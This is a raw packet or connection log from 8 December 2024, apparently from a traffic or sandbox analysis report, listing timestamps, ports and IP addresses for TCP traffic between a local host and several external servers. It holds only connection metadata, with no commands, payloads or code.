Dec 8, 2024 15:38:41.375785112 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.376230001 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.376255989 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.376276016 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.376290083 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.377187014 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.377247095 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.377249956 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.377381086 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.378367901 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.378406048 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.378464937 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.379216909 CET	443	49794	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:41.379276991 CET	49794	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:41.379508972 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.379559994 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.379590034 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.380027056 CET	443	49793	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:41.380093098 CET	49793	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:41.380629063 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.380661011 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.380676031 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.380702019 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.381463051 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.381866932 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.381999969 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.382081985 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.382122040 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.382952929 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.383012056 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.383097887 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.383148909 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.384004116 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.384042978 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.384080887 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.384093046 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.385190010 CET	49794	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:41.385202885 CET	443	49794	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:41.385216951 CET	49793	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:41.385225058 CET	443	49793	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:41.385255098 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.385305882 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.385350943 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.385413885 CET	443	49794	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:41.385483027 CET	443	49793	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:41.386284113 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.386348963 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.386388063 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.386805058 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.386850119 CET	49793	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:41.386914968 CET	49793	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:41.386921883 CET	443	49793	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:41.387037039 CET	49793	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:41.387542963 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.387588024 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.387620926 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.387660027 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.387768984 CET	49794	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:41.387820959 CET	49794	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:41.387828112 CET	443	49794	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:41.387978077 CET	49794	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:41.388772011 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.388824940 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.388887882 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.388930082 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.389930964 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.390055895 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.390109062 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.391093016 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.391166925 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.391210079 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.392108917 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.392151117 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.392193079 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.392632961 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.393276930 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.393347025 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.393383026 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.393425941 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.394292116 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.394345999 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.394373894 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.394442081 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.395466089 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.395522118 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.395523071 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.395615101 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.396578074 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.396667957 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.396701097 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.396739006 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.397777081 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.397821903 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.397902966 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.397979021 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.398827076 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.398945093 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.398988962 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.400019884 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.400269032 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.400315046 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.401114941 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.401158094 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.401194096 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.401526928 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.402251005 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.402302027 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.402335882 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.402376890 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.403795004 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.403816938 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.403848886 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.403877020 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.404968977 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.405044079 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.405118942 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.405189037 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.406632900 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.406683922 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.406773090 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.408499956 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.408546925 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.408674002 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.409881115 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.409928083 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.409991980 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.410083055 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.410970926 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.411022902 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.411058903 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.411107063 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.412023067 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.412080050 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.412107944 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.412234068 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.412930012 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.412981987 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.413014889 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.413254023 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.414016008 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.414072037 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.414092064 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.414132118 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.415522099 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.415579081 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.415633917 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.415723085 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.416455984 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.416510105 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.416584969 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.416631937 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.417752981 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.417864084 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.417921066 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.418368101 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.418450117 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.418489933 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.418519974 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.419255972 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.419303894 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.419341087 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.419387102 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.420176983 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.420223951 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.420320034 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.420366049 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.421237946 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.421293020 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.421293974 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.421331882 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.422146082 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.422200918 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.422224045 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.422262907 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.423038960 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.423091888 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.423171043 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.423213959 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.424305916 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.424416065 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.424434900 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.424468994 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.425627947 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.425682068 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.425828934 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.425884008 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.427081108 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.427186012 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.427251101 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.428103924 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.428214073 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.428266048 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.429037094 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.429086924 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.429181099 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.429436922 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.430036068 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.430093050 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.430124044 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.430169106 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.431189060 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.431246996 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.431288004 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.431327105 CET	443	49793	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:41.431343079 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.432220936 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.432274103 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.432274103 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.432307005 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.433135033 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.433199883 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.433217049 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.433240891 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.434094906 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.434170008 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.434195042 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.434217930 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.435236931 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.435293913 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.435324907 CET	443	49794	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:41.509035110 CET	443	49795	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.509116888 CET	443	49795	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.509202003 CET	49795	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.509437084 CET	49795	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.509458065 CET	443	49795	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.509468079 CET	49795	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.509474039 CET	443	49795	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.512329102 CET	49800	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.512362003 CET	443	49800	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.512434959 CET	49800	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.512602091 CET	49800	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.512614012 CET	443	49800	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.518481016 CET	443	49796	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.518546104 CET	443	49796	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.518611908 CET	49796	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.518774033 CET	49796	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.518785954 CET	443	49796	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.518799067 CET	49796	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.518804073 CET	443	49796	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.521851063 CET	49801	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.521869898 CET	443	49801	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.522440910 CET	49801	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.522574902 CET	49801	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.522593021 CET	443	49801	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.524323940 CET	443	49797	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.524373055 CET	443	49797	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.524998903 CET	443	49798	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.525053024 CET	443	49799	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.525055885 CET	443	49798	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.525080919 CET	49797	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.525080919 CET	49797	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.525105953 CET	49797	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.525109053 CET	443	49799	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.525116920 CET	443	49797	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.525140047 CET	49798	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.525192976 CET	49799	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.525327921 CET	49798	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.525327921 CET	49798	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.525341988 CET	443	49798	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.525351048 CET	443	49798	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.525461912 CET	49799	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.525461912 CET	49799	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.525469065 CET	443	49799	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.525475979 CET	443	49799	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.527883053 CET	49802	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.527898073 CET	443	49802	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.527914047 CET	49803	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.527923107 CET	443	49803	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.527968884 CET	49802	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.527987003 CET	49803	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.528152943 CET	49802	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.528160095 CET	443	49802	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.528280973 CET	49803	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.528290033 CET	443	49803	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.528727055 CET	49804	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.528742075 CET	443	49804	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.528799057 CET	49804	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.528901100 CET	49804	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:41.528911114 CET	443	49804	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:41.567744970 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.567760944 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.567835093 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.568346977 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.568366051 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.568393946 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.568407059 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.569395065 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.569443941 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.569482088 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.569508076 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.570645094 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.570693016 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.570755005 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.570799112 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.571875095 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.571923018 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.571999073 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.572043896 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.572772026 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.572818041 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.572900057 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.572947979 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.573899031 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.573944092 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.574007988 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.574053049 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.575277090 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.575333118 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.575402975 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.575443029 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.576482058 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.576530933 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.576587915 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.576632977 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.577590942 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.577639103 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.577661991 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.577703953 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.578613043 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.578661919 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.578718901 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.578769922 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.579603910 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.579648972 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.579720020 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.579765081 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.580702066 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.580749989 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.580833912 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.580878019 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.581917048 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.581965923 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.582001925 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.582051992 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.583015919 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.583061934 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.583137035 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.583184958 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:41.584305048 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:41.584352016 CET	49787	80	192.168.2.6	185.215.113.206
